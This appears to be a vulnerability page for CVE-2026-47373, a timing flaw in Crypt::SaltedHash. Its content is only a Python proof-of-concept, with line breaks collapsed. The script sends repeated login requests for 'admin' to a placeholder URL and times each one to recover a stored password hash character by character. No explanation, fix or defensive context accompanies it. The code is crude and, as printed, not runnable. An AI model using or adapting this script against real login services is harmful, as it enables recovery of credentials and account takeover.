CVE-2026-47373 Crypt::SaltedHash 时序攻击漏洞

# Proof of Concept for Timing Attack on Crypt::SaltedHash (Conceptual) import requests import time import string # Target endpoint (Hypothetical) TARGET_URL = "http://vulnerable-app/login" # Assume we know the hash format and length (e.g., SHA-256 hex: 64 chars) HASH_LENGTH = 64 CHARSET = string.hexdigits # Variable to store the recovered hash recovered_hash = "" print("[+] Starting Timing Attack...") for i in range(HASH_LENGTH): best_char = None max_time = -1 for char in CHARSET: # Construct payload: known prefix + current guess + padding # The padding ensures the comparison length is consistent if not checking length first test_hash = recovered_hash + char + "0" * (HASH_LENGTH - len(recovered_hash) - 1) payload = {"username": "admin", "password_hash": test_hash} # Measure request time start_time = time.time() try: requests.post(TARGET_URL, data=payload, timeout=5) end_time = time.time() except: end_time = time.time() duration = end_time - start_time # If this character took longer, it's likely the correct match if duration > max_time: max_time = duration best_char = char if best_char: recovered_hash += best_char print(f"[+] Position {i+1}/{HASH_LENGTH}: Found char '{best_char}' (Time: {max_time:.5f}s)") else: print("[-] Attack failed or network instability detected.") break print(f"[+] Recovered Hash: {recovered_hash}")